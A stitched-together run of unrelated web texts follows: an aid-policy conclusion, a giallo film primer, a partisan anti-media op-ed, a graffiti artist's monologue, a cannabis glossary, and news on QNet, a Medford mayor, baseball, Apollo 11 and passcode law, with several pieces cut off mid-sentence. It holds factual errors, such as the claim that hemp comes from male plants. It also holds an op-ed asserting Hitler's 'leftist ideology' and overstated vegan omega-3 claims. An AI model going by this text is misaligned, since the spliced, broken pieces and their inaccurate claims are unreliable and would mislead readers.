So what to conclude from all of the above? First you just read in four or five minutes a 45 page paper, so nuances get lost. Further, methodological contentions still remain, so don’t get too carried away. But it’s clear that despite the yes-it-does, no-it-doesn’t character of the public policy debate, the scholarly debate has moved sufficiently beyond that pantomime to tell us more about when aid is more likely to work. So while we and CGD pals would be first to say that development is about a whole lot more than aid, we can say that shifting the debate from whether aid ‘works’ to when aid works and how it can work better would contribute to better aid policy decisions in the real world, move away from mostly theatrical claims and counterclaims, and might even serve to reinvigorate global support for aid. We hope our paper lays some of the groundwork for that to happen.The word “giallo” is Italian for “yellow” and is derived from a series of cheap mystery novels that featured a trademark yellow cover. The giallo film genre was heavily influenced by these novels and the films of Alfred Hitchcock. Visionary Italian directors Mario Bava and Dario Argento created and defined the genre with films like “The Girl Who Knew Too Much” (1963), “Blood and Black Lace” (1964) and “The Bird with Crystal Plumage” (1970). The later becoming an international box-office sensation. The financial success of the film gave birth to countless intimations and a new genre of Italian cinema.
The films all shared several distinctive characteristics: a murder mystery featuring a psychopathic stalker who wears black leather gloves and brutally murders a series of young beautiful scantily-clad woman with a sharp blade, explicit sexual content, whodunit storyline and graphic violence are infused with Italy’s tradition of operatic melodrama. The films usually feature a twist ending, revealing the killer to be a mentally disturbed madman or woman who usually poses as normal and subdued person.
Critics have often looked down their nose at the genre and deemed it to be nothing more than sleazy exploitation cinema that erotizes murder. Many of the films are visually breath-taking, utilising elaborate set and costume design, innovative editing and flashy cinematography technics. The films are also known for their bizarre and sometimes baffling plotlines, seemingly placing greater importance on visuals and atmosphere than making perfect sense.
The only other country to officially adopt the genre was Spain. While the rest of Europe and Hollywood never officially embraced the genre, there is no doubting that it has had a prevailing influence over many of their filmmakers. Giallo is often cited as having |
because Vladimir Putin is so awful. It’s not a long drive from there to all the stories claiming Putin “hacked” the election for Trump, especially for people overrun with media-induced fear.
If that weren’t enough, the same newspaper has on its website a quiz entitled, “Which Terrifying Political Voice Said It?” The choices? Adolf Hitler, Josef Stalin, Benito Mussolini, and Donald Trump.
The outrage expressed by “journalists” over pictures of President Obama as Hitler at Tea Party rallies was memory-holed, as was the lecturing over heated political rhetoric being dangerous.
They didn’t mean it then. They knew the Obama/Hitler pictures actually were the work of progressive Lyndon LaRouche lunatics who show up at every political gathering, no matter the topic, and who are not remotely associated with the Tea Party. They carefully cropped the “LaRouchePAC” watermark out of the pictures of the posters of Obama with the Hitler mustache because without it the narrative of an unhinged Tea Party was served.
The media didn’t miss an opportunity to condemn any political disagreement with Democrats as dangerous. They even went so far as to blame the shooting by a President George W. Bush-hating lunatic of Rep. Gabrielle Giffords, D-Ariz., on a map of congressional races on Sarah Palin’s website.
The script is now flipped. Everything “dangerous” is now cheered because of the target. When an unstable pile of wasted human flesh couldn’t accept sitting on a Jet Blue flight with Ivanka Trump so much that he had to verbally attack her in front of everyone on the plane, including her children, it was the natural progression of the Democratic Party’s narrative. How could you not confront Hitler’s daughter in 1936?
Of course Donald Trump is not Hitler in 1936, nor at any other time. And the truth of Hitler’s leftist ideology and the absurdity of the charge doesn’t help Democrats, but it does keep their voters so angry they don’t question the party’s failures to connect with everyday Americans. So reality must be finessed.
That’s how you end up with a major newspaper slapping the title, “Men who ‘expressed displeasure’ about flying with Ivanka Trump removed from plane” on a story about a bitter, angry man yelling at a mother and her children because he’s been mainlining media spin about her father. That’s how you end up with an artist offended that daughter would buy their work, demanding it be removed from her walls.
The media and the Democratic Party created these monsters, and there appears to be no bottom to their depravity. The worst among Hillary’s horrible true believers, seemingly hoping to do harm to the president-elect and anyone associated with him, have bylines. If the current president or Clinton, or someone in newsrooms across the country doesn’t condemn these escalations, something awful will happen.
Then again, that may be what they want.Weed Wolf, "30-ish," is a prolific graffiti artist—and vandal.
I don't have a job, and I plan on never having one either. I try to sell things on eBay. That's a pretty good way to make some money. And, shit, I like to wake up, hang around, try to figure out something to do. Man. What do I even do?
I think a lot of times, simply because of the nature of my extracurricular activities, I'm totally nocturnal. I've been trying to enjoy the day more lately—I feel like it gives me superpowers or something that I was unaware of for the longest time. Yeah, if I'm up before noon, that's pretty crazy.
I wouldn't call myself a street artist. I like graffiti and tagging and vandalism. You know, sometimes it looks good, but at the same time I understand the term "graffiti" and "tagging" can instantly turn a lot of people off. They associate it with gang activity or some sort of crap like that, so I don't tell people to not call it street art.
To me art already has its own values, and they're pretty bougie. And then there's the street. I feel like it's condescending—like, "from the art world down to the street"—and I don't really feel like it's appropriate a lot of the time. To me a lot of street art looks like wall art. Someone should have been putting it in their basement or something like that. But instead, they wanted to go have fun, and they put it up on a wall outside. No matter how lame or artsy-fartsy it is, I'll take anything over a poo-brown wall. That's sort of the irony of graffiti busters: they cover it up with the ugliest color you can imagine.
When it comes to what I enjoy looking at from other people, it's precisely things like Noteef. I'm like, "Wow! What a catchy name! What clean letters! Huge!" I know my notoriety comes from not only the super legibility that I always write with but also the name itself. I knew full well that anyone who's exposed to reading "Weed Wolf" where it's not supposed to be is gonna laugh pretty hard. And I think the name also makes people wonder who it is.
I try not to think of myself as Weed Wolf at all, but that gets hard sometimes. I try to think of it as my work. I go out and spend a lot of time putting it up, but I don't let people call me that, even my friends. Especially my friends.
I've heard a lot of rumors of things that I've done, and property that I've supposedly destroyed, and most the time they're exaggerated pretty significantly. I try to avoid people's own stuff. A lot of the time it's just a difference of values, I suppose. Like, I don't really care about some brand-new condo building, so if I tag it and someone decides to get on the Internet and say, "Wah! Someone did graffiti all over my house," well, you know, they're calling it their home, but I just see it as some really fancy condo that someone with a lot more money than me gets to go hang out in.
As far as the galleries go, I actually just did a show in Chicago, but that was at the request of some gallery owners and it just so happened that the curator of the show was someone I already knew and trusted, so I went along with it, but it's not necessarily something that I'm gonna pursue or change my direction or my production to try to invite more of. I just don't see it as really appropriate. Maybe I would do the gallery stuff under a different name, but I also don't know if I actually like art very much.
Art just doesn't have much to do with my day-to-day life—like, pure art, as in this thing that has no utilitarian function. You can't eat it. It won't keep you warm at night. That's why I see a lot of art as totally worthless.
The first thing that makes graffiti a lot different than a gallery is that the gallery is sanctioned. You had to get permission to do it in the first place. Graffiti, to anyone who sees it, regardless of how they feel about it, is like an unequivocal "I don't need permission and I'm not letting anyone tell me what to do" type of statement, whether that's aggressive-looking graffiti, or whether that's some of the more feminine styles that pop up. Even a stencil of a bird on a wall is someone saying that they're not going to let someone tell them what to fucking do.
It's also accessible. I don't know many people that feel too comfortable walking into a gallery show. Except for the one that I just had this last weekend, I hadn't been to one in years, except to maybe pocket a couple beers and run away. But the street is right there. Anybody can look at it. —As told to Miles RaymerConfused about indicas vs. sativas? Scratching your head over what “kief” is? Wondering if “topical” has anything to do with blended drinks on the beach? Browse our glossary to find a variety of cannabis term definitions and become more educated on industry terminology. When you’re done reading through the glossary, you’ll know your kush from your tinctures and everything in between!
Access Point
A medical access point is an authorized location where patients can find and purchase medical marijuana. It can also be called a pick-up location, and while medication should be fairly easy to obtain, the facility must follow state guidelines so authorization, paperwork, and a store process should be expected. In the medical cannabis community, an access point is often synonymous with a dispensary depending on individual state legislation, guidelines, and lingo.
Aroma
“Aroma” is a term used to describe the general smell and/or taste of a certain plant or flower. Because consumers’ individual definition of aromas (such as “earthy,” skunky,” or “citrus“) can differ somewhat, aroma descriptions are meant as a basic guideline.
Backcross (BX)
A backcross is a hybrid plant that has been bred with one of its parents (or a plant that is genetically similar) in order to create offspring that is closer to that of the original parent. For example, a grower could breed a plant with its own father to make sure the baby has its dad’s height. This is often done to maintain rarer strains or strengthen those with desired recessive genes.
BHO
BHO stands for butane hash oil and is a potent concentrate of cannabinoids made by dissolving marijuana in its plant form in a solvent (usually butane). The resulting product has very high THC levels (generally more than flowers or hashish) and is a thick, sticky oil. BHO is also referred to as honey oil, “dabs” or “dabbing,” earwax, or shatter, depending on the manufacturing method.
Bong
A large pipe, usually made of glass, that uses water to diffuse and cool the smoke as you breathe it into your lungs.
Blunt
Cannabis wrapped in a tobacco leaf cigar or cigarillo paper. The cigar may be hollowed out and then re-rolled with cannabis, and the origin of the name was coined due to the popularity of the brand Phillies Blunt Cigars. Blunts often burn longer than joints and are usually found in larger social gatherings.
Bubbler
A handheld pipe, usually made of glass, with a water reservoir at the bottom to cool and diffuse the smoke before it is inhaled.
Bud
Bud refers to the actual flower of the marijuana plant. These are the fluffy parts that are harvested and used for recreational or medicinal purposes as they contain the highest concentrations of active cannabinoids.
Budtender
This is the attendant working behind the counter at your local dispensary or retail cannabis shop who may be able to answer your questions on strains, cannabis products, and make suggestions based on your needs.
Cannabinoids
Cannabinoids are the chemical compounds unique to cannabis that act upon the human body’s cannabinoid receptors, producing various effects including pain relief and other medically beneficial uses. Marijuana’s most well-known cannabanoid is tetrahydrocannabinol (THC) due to the fact that it is the most abundant, and also because it produces the psychoactive effects (or the “high”) that drives the plant’s recreational use. However, there are over 85 known cannabinoids all with varying effects, so THC isn’t the only one.
Cannabis
Cannabis is a plant genus that produces three species of flowering plants: Cannabis sativa, Cannabis indica, and Cannabis ruderalis. Cannabis sativa and Cannabis indica are used to produce both recreational and medical marijuana. Cannabis ruderalis is rarely farmed due to its natural lower THC content and small stature, but there is some cross-breeding thanks to ruderalis‘s unique ability to auto-flower rather than mature based on light, so there is potential for this variety to grow in popularity. Cannabis is native to Asia, but grows almost anywhere and has long been cultivated both for the production of hemp and to be used as a drug.
CBD
CBD is the abbreviation for cannabidiol, one of the at least 85 cannabinoids found in cannabis and the second only to THC when it comes to average volume. Recently, CBD has gained support for its use as a medical treatment as research has shown it effectively treats pain, inflammation, and anxiety without the psychoactive effects (the “high” or “stoned” feeling) associated with THC. High CBD strains, such as Harlequin, are being bred more actively and appearing more frequently on the market.
CO2 Oil
CO2 oil is a cannabis concentrate, made from the Supercritical CO2 extraction process. Supercritical CO2 is a fluid state of carbon dioxide held at or above the critical point of temperature and pressure, which can be used as a solvent in the cannabis extraction process.
Concentrates
Concentrates are a potent consolidation of cannabinoids that are made by dissolving marijuana in its plant form into a solvent. The resulting product has very high THC levels (generally more than flowers or hashish), and can produce varying products that range from thick sticky oils (BHO) to moldable goo (budder/wax) to resinous bits (shatter). Referred to by a variety of slang terms, the classification of concentrates is often dependent on the manufacturing method and the consistency of the final product.
Co-op
Co-op is short for cooperative and refers to a community of patients or consumers in a given area who join together to share and receive marijuana. Co-ops usually have specific membership requirements and the product available is generally exclusive to members. In some states, co-ops exist alongside or in lieu of dispensaries.
Clone
This refers to a clipping from a cannabis plant, which can then be rooted and grown through a cloning process of the mother plant, from which the clone was cut.
Cross (genetics)
A cross (referring to crossbreeding) is the result when two different plant strains are bred together. For example, Blue Dream is a cross between Blueberry and Haze strains.
Dab/Dabbing
A dab is a slang term used to refer to a dose of cannabis concentrates “dabbed” onto a redhot surface and inhaled. The act of “dabbing” refers to partaking in dabs.
Dank
A word used to describe sticky, high-quality cannabis with a strong aroma.
Dispensary
Dispensary is a general term used to refer to any location where a patient or consumer can legitimately and safely access cannabis, whether the business is technically an access point, pick-up location. co-op, collective or any other version of a legal cannabis distributor.
Edibles
Edibles are medicated edible goods that have been infused with cannabis extracts. They are commonly baked goods such as cookies and brownies, but options as varied as flavored coffee drinks, breads, and candies exist as well. Dispensaries also often sell marijuana-infused butters or oils for patients or consumers to make their own edibles. Consuming edibles means the active components from the extracts require longer to take effect as they need to be absorbed through the digestive system.
Feminized
Feminized plants come from seeds that have been selectively bred to produce only female plants. Since female plants are the ones that produce flowers (which is where most of cannabis’ cannabinoids are found), they are the only ones that are used to create marijuana products. Feminized seeds are intended to make things easier for growers by eliminating the need to determine the sex of growing plants and remove males early on to prevent fertilization. Generally, feminized seeds produce the same quality of plants as naturally produced seeds.
Flowering Time
Flowering time refers to the time it takes for a plant to produce mature flowers. Cannabis flowering times are affected by the length of daily exposure the plant receives to sun (with the exception of the Cannabis ruderalis species, which flower automatically). When flowering times are reported for a strain, they are general estimates based on how the plants do on average in optimal conditions. Actual flowering times will vary and it is up to the grower to decide when to harvest for maximum benefit.
Flowers
You probably know what flowers are; they’re often the “pretty” part of a plant, and the same is true for cannabis. While cannabis flowers don’t have traditional petals or look like daisies, they are still the reproductive organ of the female plants. Cannabis flowers are the hairy, sticky, crystal-covered bits that are harvested and dried to be used as medication. When they are allowed to be fertilized by male plants, these flowers will produce cannabis seeds. If not, they will continue to produce the resin that contains their active cannabinoids until they are harvested or begin to die.
Hash/Hash Oil
Hash is short for hashish, which is derived from cannabis plants and can be used for consumption or medication. Production involves the removal of the plant’s trichomes by sieving or filtering. Once the cannabinoid-laden powder has been collected, it is typically pressed and ready to be used. Hash ranges in potency, but is generally stronger than straight flowers since everything but the active part of the plant has been removed. A similar concentrated product can also be produced chemically using a solvent; however, this product is commonly referred to as hash oil or “honey oil.”
Heirloom
An heirloom refers to a cannabis strain that was taken from its native homeland and propagated in another geographical location.
Hemp
Hemp is a fibrous product that can be produced from the male cannabis plant and can be used in the manufacture of rope, paper, beauty products, and a vast array of other products. Hemp plants have no value as a drug since they are males. However, they are still considered illegal in the United States.
Hybrid
Hybrid refers to a plant that is genetically a cross between one or more separate strains of cannabis. Hybrids can happen unintentionally, but they are usually bred specifically to combine desired traits of the original plants. Most marijuana on the market today is some form of hybrid.
Hydroponics
Hydroponics refers to a system of gardening that does not use soil. Plants are grown in water and receive their nutrients from the addition of solutions rather than soil. For growers, hydroponic advantages include more control over nutrient intake and stability. In terms of marijuana production, plants grown hydroponically are sometimes said to have cleaner, more distinct flavors.
Indica
Indica is the less scientific name for the Cannabis indica species of cannabis. Generally these plants originated in the Middle East and Asia and include both of the famous kush and Afghan lineages. Compared to their sativa counterparts, the plants are shorter, bushier and have more compact flower structure. This species tends to produce more relaxing physical effects and can have a sedative quality.
Kief
Kief is a collected amount of trichomes that have been separated from the rest of the marijuana flower. Since trichomes are the sticky crystals that contain the vast majority of the plant’s cannabinoids, kief is known to be extremely potent. Kief is sometimes mistakenly referred to as pollen and is the primary ingredient in hashish production.
Kush
Kush refers to a line of cannabis plants that hail from the Hindu Kush mountains in Afghanistan and Pakistan. Kush strains are indicas and have a unique aroma that have given them a large fan base. Specific breeds and plants are unique, but their aroma is generally described as “earthy” and often piney combined with citrus or sweet.
Landrace
A landrace refers to a local variety of cannabis that has adapted to the environment of its geographic location. This accounts for genetic variation between landrace strains, which have been crossbred to produce the cannabis variety we see today. Landrace strains are oftentimes named after their native region, like Afghani, Thai, and Hawaiian, and traces of landraces are sometimes detectable in the names of their crossbred descendants.
Marijuana
Marijuana is the general term for female cannabis plants or their dried flowers. Females are distinct from male plants in that they are the ones that produce flowers which contain the high percentage of cannabinoids that hold both their medicinal and psychoactive properties.
OG
OG is a term that’s now used to describe many strains, though the term originated to describe Southern California’s Ocean Grown Kush, which was quickly shortened to OG Kush. OG Kush grew quickly in fame and reputation. Most OGs are different variations of the original OG Kush genetics or are also ocean grown on the West Coast.
Phenotype
Phenotype is a term that is heard most often in growing. It refers to the general physical characteristics of the plant such as height, color, branching, leaf configuration down to cell structure—any markers that can be used to identify and judge the healthiness of a plant.
Pistil
Pistils are part of a female plant’s anatomy. On cannabis, it’s identified as the little hair-like extensions on the flowers that range in color from white to red to darker orange-brown. When plants are going to be fertilized, the pistil acts to collect the male pollen. When plants are left unfertilized, as in the case of marijuana, the pistils change and can be indicators of plant ripeness.
Pot
Pot is a slang term for marijuana.
Pre-roll
Pre-roll is a commonly used term that refers to a pre-rolled marijuana cigarette, slangily known as a joint. Many dispensaries have pre-rolls available for purchase.
Ruderalis
Ruderalis is a low-THC cannabis variety that is primarily selected by breeders for its CBD-rich genetics. Unlike Cannabis sativa and indica, which use light cycles to flower, ruderalis is an “autoflowering” variety, meaning it flowers with age. Originating in Russia, ruderalis is a hardy plant that can survive harsh climates.
Sativa
Sativa is the less scientific name for the cannabis sativa species of cannabis plant. In general, these plants originated outside of the Middle East and Asia and include strains that are from areas such as South America, the Caribbean, Africa, and Thailand. These strains tend to grow taller as plants (usually over 5 feet), are lighter in color and take longer to flower. When consumed, sativas tend to produce more cerebral effects as opposed to physical and sedative ones.
Shatter/Ice
Shatter or ice are terms used to refer to BHO.
Strain
A strain is a specific variety of a plant species. Strains are developed to produce distinct desired traits in the plant and are usually named by their breeders (or by creative consumers). Strain names often reflect the plant’s appearance, its promised buzz, or its place of origin. Although the medical marijuana industry strives for consistency, strains can easily be mistakenly or purposely misidentified.
THC
THC is an abbreviation for tetrahydrocannabinol. It is the most well-known and most abundantly available cannabinoid in marijuana plants. THC is also the component in marijuana that is responsible for the psychoactive effects, or the “high.” Also known as delta-9-tetracannabinol, it was first isolated in 1964 and is thought to serve as a natural defense for the plant against pests. Research has shown THC to be an effective medical treatment for a range of conditions. There is no lethal dose of the compound in its natural form.
Tincture
A tincture is a liquid cannabis extract usually made with alcohol or glycerol that is often dosed with a dropper. Tinctures can be flavored and are usually placed under the tongue, where they are absorbed quickly. Effects can be felt within minutes. Tinctures can also be mixed into a drink, but in these cases effects will take longer because the tinctures will be absorbed by the digestive system.
Topical
A topical is a type of cannabis product where the active properties of the flowers have been extracted and added to a product such as a lotion or a cream that’s applied to the skin. The medicinal properties are absorbed through the skin and can be used to treat muscle aches, long term soreness, or ailments like dry skin.
Trichome
Trichomes are the resin production glands of the cannabis plant. In Greek the word means “growth of hair,” and while these sticky little protrusions can make plants appear a little hairy, they are not hairs, nor are they “crystals,” which is how they are often described. THC, CBD and other cannabinoids are all produced in these glands.
Vaporizer
A vaporizer is a device used to consume marijuana. It heats either flowers or marijuana-infused oils to a temperature that produces a cannabinoid-laced vapor to inhale. Vaporizing is healthier than smoking since there is no smoke to ingest, but this method still produces near instant effects. With new, more compact models on the market, vaporizing is growing in popularity.
Wax
Wax is another form of concentrate.
Weed
Weed is a slang term for marijuana.
photo credit: Valentina_A via photopin ccMUMBAI: The economic offences wing (EOW) on Tuesday said it was investigating the role of film actor Boman Irani's son, Danesh, in the QNet scam The police said they were going over Danesh's bank account. The police said QNet, a multi-level marketing company, had duped people of more than Rs 425 crore by selling them items with "miraculous properties".The bank accounts of QNet, its independent representatives and associates, collectively holding a balance of Rs 110 crore, stand frozen.Gurupreet Singh Anand, the complainant, filed an application with additional commissioner of police (EOW) Rajvardhan Sinha asking the police to look at the role of Danesh and his father."According to documents found, Danesh has earned substantial amount of money," Sinha said. "We are investigating his role. His father has no role in this."Anand said last year Boman had attended a promotional programme of QNet at a city mall. "The police should find out whether Irani acted as a brand ambassador or was just a participant," Anand said. "If he was a brand ambassador, who paid him money?"He said QNet had bought the F1 team Marussia and was propagating it all over the country. During one such event, Irani was seen with the QNet people.QNet spokesperson Ajay Chanam said: "Irani came to the programme as a guest. We invite IAS officers and other dignitaries to programmes. Danesh is our independent representative."The EOW last week issued a look-out circular (LOC) against Michael Ferreira, winner of the World Amateur Billiards Championship and a Padma Bhushan recipient, and seven others in the case.The EOW has arrested nine independent representatives, including two women.Medford Mayor Michael J. McGlynn (right) arrived with his wife Sheila McGlynn before he gave his last State of the City address.
MEDFORD — Mayor Michael J. McGlynn bid farewell on Sunday to the city he has led for 28 years, in a ceremony steeped in pomp, patriotism, and hometown pride.
The second-generation mayor held hands with his wife, Sheila, as he walked into a crowded City Council chamber festooned with red-white-and-blue bunting and a community band playing a Sousa march.
McGlynn, currently the state’s longest-serving mayor, chose the post-Thanksgiving weekend to deliver his final State of the City address, and to thank residents who elected him to 14 straight terms.
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“My experience has been earned because of the commitment and support you have shown toward my tenure in public office,” said McGlynn, 62, standing at a podium, a giant American flag hanging behind him. “For this, Sheila and I are truly grateful. Your friendship and guidance shall never be forgotten.”
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McGlynn, a former Democratic state representative, announced in April he would not seek reelection to a 15th term. He plans to retire, and spend more time with his three grown daughters and five grandchildren, who sat in the front row.
Stephanie Muccini Burke, the city’s budget director, and a former 16-year city councilor, was elected on Nov. 3 to succeed McGlynn.
During his nearly three decades in office, McGlynn held leadership roles in the Massachusetts Municipal Association, serving as a past-president and most recently as co-chair of a task force to study the impact of the state’s opioid crisis on local communities.
And his final public speech drew several local and state officials, including Middlesex District Attorney Marian Ryan.
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McGlynn devoted much of his 15-minute talk to the economic growth and educational goals achieved during his tenure. He also praised city workers and his staff who helped him achieve his vision to transform Medford from a tired old city to a vibrant urban center.
River’s Edge, a housing/office development on the Malden River, and Station Landing, a mix of luxury apartments, shops, and restaurants on the Mystic River, ushered in a new era of growth in the last two decades.
“We created jobs, housing opportunities, and increased tax revenues dramatically,” McGlynn said.
He noted the construction of eight new schools, including one named for his father, John J. McGlynn, 93, a former city councilor who was mayor when it was a ceremonial title given to the top vote-getter in the seven-member City Council race.
Medford High and the city’s vocational school have level one status on the state’s MCAS exams, he said.
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“That’s the highest rating attainable,” said McGlynn, who as mayor, also serves as chairman of the Medford School Committee.
Residents who attended the talk, and a farewell reception that followed, expressed pride in his long tenure.
“He is a part of Medford history,” said Elaine Bordonaro, 63. “I came to show my respect and gratitude. He’s a compassionate man, who always helped people.”
“He’s an honest man,” said Jerry Bailey, 74, an immigrant from Ireland who raised his family in Medford. “He deserves a happy retirement.”
Kathy McCabe can be reached at [email protected]. Follow her on Twitter @GlobeKMcCabeThe Rockies will likely tab Holland as the closer at the start of the season, the Denver Post's Nick Groke reports.
Groke, one of the Rockies' top beat writers, referred to Holland as "the man to whom the Rockies will probably pin closer status next month," so whether he is reading between the lines or basing this on off-the-record conversations, it seems fair to now peg Holland as the favorite to close in Colorado. Holland touched 95 mph with his fastball and threw his slider and curveball in Wednesday's perfect appearance against Brewers minor leaguers. Adam Ottavino certainly pitched well enough last season to deserve the closer role, but Holland has 145 career saves, compared to Ottavino's 11, so experience could carry the day for Holland. Ottavino is also probably more capable of logging 65-plus innings in a versatile high-leverage role, while Holland's innings should be more closely monitored in his first year back from Tommy John surgery, making the latter a more logical choice for the rigid one-inning closer role. Nothing is official, and Holland will obviously need to remain healthy and productive this spring to open the year as the closer, while this is now one of the least stable closer situations in the National League.So you think you need to eat fish to get lots of longchain Omega-3s?
Not if you're vegan.
Some plant-based eaters think that adding fish oil to your diet will help due to rich Omega-3 fats found in fish. But one by one, the reasons for doing this have crumbled.
And fish is loaded with pollution and toxic chemicals that fish eat, and pass along to the person eating (think pregnant mothers being advised by the government to avoid most fish -- and if the government is making the recommendation over the objections of the powerful seafood lobby, you'd better take note).
According to a study published today in the American Journal of Clinical Nutrition, vegans -- who eat no fish or fish oil and eschew animal products -- have the same blood levels of Omega-3 as the heavy fish eaters, and HIGHER DHA levels.
From the article:
Despite having significantly lower intakes of EPA and DHA (from fish or fish oil), blood levels of EPA and DHA in vegans and vegetarians were approximately the same as regular fish eaters.
The results indicate that the bodies of vegetarians and other non-fish-eaters can respond to a lack of dietary omega-3 EPA and DHA by increasing their ability to make them from omega-3 ALA.
And as they said, "The implications of this study are that, if conversion of plant-based sources of n-3 PUFAs were... sufficient to maintain health, it could have significant consequences for public health..." (Welch AA et al. 2010).
https://www.vitalchoice.com/article/fish-avoiders-have-more-omega-3s-than-expected
Read the whole story here.
FACEBOOK COMMENTS:Please turn on JavaScript. Media requires JavaScript to play. Advertisement Two of the astronauts who took part in the first Moon landing 40 years ago have called for renewed efforts to send a manned mission to Mars. At a rare public reunion of the Apollo 11 crew, Buzz Aldrin and Michael Collins said Mars instead of the Moon should be the focus of exploration. Neil Armstrong, the first man on the Moon, said the race to get to the Moon had been the ultimate peaceful contest. He said it was an "exceptional national investment" for the US and ex-USSR. The trio spoke at an event at Washington DC's National Air and Space Museum to mark the 40th anniversary of their mission. Sometimes I think I flew to the wrong place. Mars was always my favourite as a kid and it still is today
Michael Collins
Apollo 11 crew They are due to meet President Obama at the White House on Monday. Mr Armstrong told the audience: "It was the ultimate peaceful competition: USA vs USSR. "I'll not assert that it was a diversion which prevented a war, nevertheless it was a diversion. "Eventually, it provided a mechanism for engendering co-operation between former adversaries. In that sense, among others, it was an exceptional national investment for both sides." Fellow astronaut Mr Aldrin spoke of the inspiration provided by then-President John F Kennedy which led to the "betterment of America, and ultimately the ending of the Cold War". "Apollo 11 is a symbol of what a great nation and a great people can do if we work hard, work together and have strong leaders with vision and determination," he said. HAVE YOUR SAY Man's first crossing to the Red Planet should be undertaken as a team effort Yvonne Miranthis, Cyprus But he also pushed for a mission to Mars: "The best way to honour and remember all those who were part of the Apollo programme is to follow in our footsteps; to boldly go again on a new mission of exploration." Mr Collins, who circled the Moon alone while Mr Armstrong and Mr Aldrin walked on it, said Mars was more interesting than the Moon. "Sometimes I think I flew to the wrong place. Mars was always my favourite as a kid and it still is today." He urged further exploration, saying: "I worry that the current emphasis on returning to the Moon will cause us to become ensnared in a technological briar patch needlessly delaying for decades the exploration of Mars - a much more worthwhile destination." Other Nasa astronauts gave a news conference at Nasa headquarters in Washington DC on Monday. Eugene Cernan, who was the last astronaut to step off the Moon, concurred with the Apollo 11 astronauts urging a new focus on Mars. My glass has been half empty for three decades at least. Hopefully, we can turn that around because what we did then is do-able again
Eugene Cernan, former Nasa astronaut "We need to go back to the Moon, we need to learn a little bit more about what we think we know already, we need to establish bases, put new telescopes there, get prepared to go to Mars. The ultimate goal, truly, is to go to Mars," he told journalists. Mr Cernan said that when he came back from the Moon in 1972, he believed that Nasa would mount a return mission to the lunar surface by 1980 and a manned mission to Mars by the turn of the century. "My glass has been half empty for three decades at least. Hopefully, we can turn that around because what we did then is do-able again," he said. "I think the next major goal is not to spend three days, or three weeks or three months on the Moon, but to have you folks, or your kids, or your grand-kids sit here and talk to a group of guys who can tell you what it was like to go to Mars." Buzz Aldrin said the Moon should not be used as a testing ground for Mars But Mr Aldrin disagreed with the view that astronauts should test capabilities for a long-duration flight on the Moon before attempting a journey to Mars. "Why go to the most difficult place to do that? Why not do it on the International Space Station," he said. Mr Aldrin added: "One day, we are going to send some people to the surface of Mars. And if we think we're going to send them there for a year-and-a-half and then bring them back, and then send another group there for a year-and-a-half and bring them back, Washington will find another way to spend that money. "That's unless we have declared our objective is an increasing, permanent space settlement." The US space agency's currently stated aim is to return astronauts to the Moon by 2020. But that vision is under review, along with the space vehicles that would get them there. Nasa is due to retire its space shuttles next year and replace them with the Orion spacecraft, an Apollo-like capsule that would launch on a new rocket called Ares 1. Another rocket, Ares V, would have the capability to launch heavy payloads - service and cargo modules - that would be needed to service Moon missions. Please turn on JavaScript. Media requires JavaScript to play. Advertisement
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StumbleUpon What are these? E-mail this to a friend Printable versionGeorgia wide receiver Malcolm Mitchell is hoping to have a career season. Mitchell entered UGA as a prized recruit, but after playing some cornerback and facing some injury problems, we truly haven’t seen just how good he can be.
But we’ve seen flashes on some big-time plays that show off his blazing speed.
Today, however, Mitchell’s showing off his hands in two new Instagram videos posted to his account:
@IAM_OBJXIII @v.royalty.s much respect and thank you for showing the |
“he who smelt it, dealt it” was the golden rule? Well it’s time to bust out the old clubhouse rule book, because that’s exactly what’s going on here: Jill Stewart is a fraud. She’s sending out these fliers calling other people liars and trying to win your support, because in reality, she farted in the elevator, and she needs to blame it on the real estate developer next to her before you figure it out.
Your smelly farts aren’t welcome here, Jill. Real estate development is not the problem: Measure S is. Let’s break this down piece by piece.
While technically true, this is incredibly misleading. Yes, a small number of people may benefit from additional affordable housing, but the vast majority of people who don’t qualify for affordable housing, as well as those who do but have not been able to get it, will see their rents skyrocket. This is because building any kind of housing, even luxury housing, brings down the overall cost of housing in the city. And so goes the opposite.
Think of it in terms of cars. Most of us aren’t going to run out and buy a brand new fully loaded Mercedes, but that doesn’t mean we wouldn’t be able to afford a used one a few years down the line, does it? Housing works exactly the same way. There is a finite number of hyper-wealthy people in this city that can afford to pay luxury prices. If developers build more luxury units than there are rich people to rent them, all of a sudden they have to start lowering the prices to appeal to the less wealthy. We’ve already started to see this happen.
Furthermore, each time they get a bite, the person who moves into the luxury apartment needs to move out of their current apartment, making it available to other apartment seekers. With a ban on all but affordable housing however, those people will never move, and everyone who doesn’t qualify for affordable housing will be stuck competing against the super-rich for the same limited housing stock.
Even those who do qualify for affordable housing will find this doesn’t quite play out as expected. Since pressure on market rate rentals will have increased dramatically, many people who currently rent at market rate will no longer be able to afford to do so. They’ll then have to compete against everyone else in the affordable housing market for the extremely limited supply, and since there’s a cap on how much developers can charge for affordable housing, that supply will not grow much. In the end, even affordable housing will become more expensive and harder to get as a result of Measure S.
Measure M will indeed create 465,000 new jobs, however, Measure M is entirely unrelated to Measure S and absolutely does not change the fact that Measure S will destroy jobs. Furthermore, in case you need proof that Jill Stewart doesn’t give a shit about jobs, she actually opposed Measure M!
Measure S is a citizen-sponsored initiative placed on the March 7 ballot by more than 100,000 Los Angeles voters
What they won’t tell you is that the 100,000 signatures they gathered to put Measure S on the ballot were gathered by lying to people about what the initiative actually does. Multiple times while leaving the grocery store this past summer I was approached by paid signature gatherers for Measure S who told me they needed my support to “protect the environment in LA.” Given that Measure S shuts down transit-oriented development to serve the interests of car-dependent people like Jill Stewart who don’t even live in Los Angeles and need to commute in from Calabasas, “protecting the environment” is a gross mischaracterization of what Measure S does. Measure S is awful for the environment, and those signatures were gathered in deceit.
Oh, and then there’s the bit about the March 7th ballot. Did you know they actually qualified for the November ballot, but they decided to move it to March because the turnout is lower and has a higher percentage of rich white voters? Mull that one over for a bit.Obviously, this has implications for Constitutional protections of a civilian's data contained behind a smartphone's multi-digit passcode. Previously, a 2014 decision by the Virginia Beach Circuit Court found that individuals can't be compelled to give up their phone's code, but they could be forced to unlock it with a fingerprint, should that option be available.
The distinction? A passcode requires a person to divulge actual knowledge, while a fingerprint is considered physical evidence, like a handwriting sample or DNA. This interpretation sources back to the Supreme Court's 1988 Doe v. U.S. decision, in which it ruled that a person may be compelled to give up a key to a strongbox, say, but not a combination to a wall safe.
